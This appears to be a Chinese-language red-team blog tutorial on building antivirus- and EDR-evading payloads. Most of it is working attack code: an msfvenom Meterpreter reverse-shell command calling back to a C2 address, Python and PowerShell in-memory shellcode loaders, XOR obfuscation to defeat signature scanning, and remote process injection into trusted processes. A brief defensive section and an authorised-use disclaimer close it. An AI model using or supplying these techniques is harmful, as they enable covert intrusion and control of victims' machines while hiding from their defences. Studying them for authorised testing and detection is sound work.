一、真实案例:蓝队眼皮底下的“幽灵”渗透

几个月前,我们接受了某金融企业的安全评估任务。客户反馈他们怀疑内网已经被攻击,但常规杀毒软件和EDR(终端检测与响应)一无所获。攻防模拟开始后,我们发现防御系统非常完善,大多数公开工具和常见Payload都被立即拦截。但凭借精心构造的免杀载荷,我们成功建立了一个C2(命令与控制)通道,在蓝队的“眼皮底下”横行了整整两周。

这次任务让我意识到,红队攻击的关键不在于工具多强,而在于Payload能否绕过检测。今天,我将分享如何从零开始制作一个逃避AV/EDR检测的免杀Payload,帮助你成为一名“隐形攻击者”。

---

二、免杀基础:AV和EDR究竟在检测什么?

在深入技术细节之前,我们需要了解防御系统的工作方式。杀毒软件和EDR通过以下几种机制检测可疑程序:

1. 特征码检测

这是最古老的检测方式,基于特定的字节签名库。如果你的Payload包含已知的恶意代码片段,就会被直接拦截。

2. 行为分析

现代EDR能够监控进程行为,比如是否调用了敏感API(如OpenProcessVirtualAllocWriteProcessMemory等),或者是否试图连接外部C2服务器。

3. 内存扫描

许多防御工具会随机扫描内存中的可疑代码片段,即使文件本身是无害的,恶意代码加载到内存后仍可能暴露。

4. 沙箱检测

部分杀软会在隔离环境中运行可疑程序,观察其行为是否有恶意特征。

理解对抗点

要绕过这些机制,我们可以从几个角度入手:

  • 避开特征码:通过混淆或动态生成代码,打破已知签名。
  • 伪装行为:改变Payload行为,使其看起来像普通程序。
  • 内存免杀:避免在内存中暴露恶意代码。
  • 沙箱逃逸:检测沙箱环境并自我终止。

---

三、实战构建:打造一个免杀Payload

接下来,我将带你从零开始构造一个基础Payload,并逐步优化它的免杀能力。这里我们基于Python和PowerShell来实现。

1. 生成基础Payload

我们先用msfvenom生成一个简单的Shellcode。这是传统的Metasploit载荷生成方式:

<pre><code class="language-bash">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw &gt; shellcode.bin</code></pre>

这段Shellcode是一个反向TCP载荷,用于连接我们的C2服务器。虽然简单,但直接使用这种载荷会被大多数AV拦截,所以我们需要对它进行进一步处理。

---

2. 内存加载与执行

直接运行Shellcode文件是行不通的,我们需要将其载入内存并动态执行。以下是一个用Python实现的内存加载代码:

<pre><code class="language-python">import ctypes

读取二进制Shellcode

with open(&quot;shellcode.bin&quot;, &quot;rb&quot;) as f: shellcode = f.read()

分配内存

ptr = ctypes.windll.kernel32.VirtualAlloc( None, len(shellcode), 0x1000, 0x40 ) ctypes.windll.kernel32.RtlMoveMemory( ptr, shellcode, len(shellcode) )

创建线程执行Shellcode

ht = ctypes.windll.kernel32.CreateThread( None, 0, ptr, None, 0, None ) ctypes.windll.kernel32.WaitForSingleObject(ht, -1)</code></pre>

运行这段代码,你会发现它能在测试环境中正常执行Shellcode,但仍然会触发AV报警。接下来,我们开始优化免杀能力。

---

四、混淆与加密:绕过静态特征检测

Shellcode的特征码是检测的核心,所以我们必须对它进行混淆或加密处理。

1. 简单异或加密

一种常见的方法是对Shellcode进行异或加密,解密时在内存中还原:

<pre><code class="language-python">key = 0x55 # 加密密钥

加密Shellcode

encrypted_shellcode = bytearray([b ^ key for b in shellcode])

在运行时解密

decoded_shellcode = bytearray([b ^ key for b in encrypted_shellcode])

后续内存加载与执行

ptr = ctypes.windll.kernel32.VirtualAlloc( None, len(decoded_shellcode), 0x1000, 0x40 ) ctypes.windll.kernel32.RtlMoveMemory( ptr, decoded_shellcode, len(decoded_shellcode) ) ht = ctypes.windll.kernel32.CreateThread( None, 0, ptr, None, 0, None ) ctypes.windll.kernel32.WaitForSingleObject(ht, -1)</code></pre>

这种方法可以有效绕过大部分基于静态特征码的检测,但行为分析和内存扫描仍可能发现异常。

---

黑客示意图

2. 动态生成Shellcode

另一个高级技巧是动态生成Shellcode。比如,我们可以用PowerShell脚本在内存中生成并执行:

<pre><code class="language-powershell">$Shellcode = [System.Convert]::FromBase64String(&quot;&lt;你的Base64 Shellcode&gt;&quot;) $Memory = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Shellcode.Length) [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Memory, $Shellcode.Length) $Thread = [System.Threading.Thread]::New({[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($Memory, [Action])().Invoke()}) $Thread.Start()</code></pre>

将Shellcode用Base64编码后嵌入PowerShell脚本,可以进一步提高隐蔽性。

黑客示意图

---

五、绕过行为检测:伪装成无害程序

行为检测的目标是发现Payload的恶意意图。要绕过这一点,我们可以让Payload看起来像是一个常规程序的正常操作。

1. 使用合法API

将敏感操作隐藏在合法API调用中,比如通过CreateRemoteThread注入到系统进程中,而非直接执行。

<pre><code class="language-python">import ctypes

获取目标进程句柄(伪装成合法注入)

PROCESS_ALL_ACCESS = 0x1F0FFF pid = 1234 # 替换为目标进程ID handle = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)

黑客示意图

分配内存并写入Shellcode

ptr = ctypes.windll.kernel32.VirtualAllocEx( handle, None, len(shellcode), 0x1000, 0x40 ) ctypes.windll.kernel32.WriteProcessMemory( handle, ptr, shellcode, len(shellcode), None )

创建远程线程执行Shellcode

ctypes.windll.kernel32.CreateRemoteThread( handle, None, 0, ptr, None, 0, None )</code></pre>

此方法将Shellcode注入到受信任的系统进程(如explorer.exe)中,以便绕过行为分析。

---

六、防范与检测:蓝队该如何应对?

虽然免杀技术是红队的重要技能,但蓝队同样需要掌握对抗方法。以下是一些建议:

1. 启用内存保护

通过EDR的内存扫描功能,定期检查运行过程中的可疑代码。

2. 行为基线分析

监控关键进程的行为,发现异常模式,比如突然的线程创建或内存分配。

3. 加强威胁情报

及时更新威胁数据库,捕获新的混淆技术。

---

七、个人经验与总结

免杀技术没有万能方法,攻击者和防御者一直在博弈。作为红队成员,关键在于不断学习最新的绕过技术;而作为蓝队成员,必须保持对攻击链的敏感性。希望这篇文章能为你提供一些实战技巧,也提醒大家,在授权范围内研究技术,切勿用于非法用途!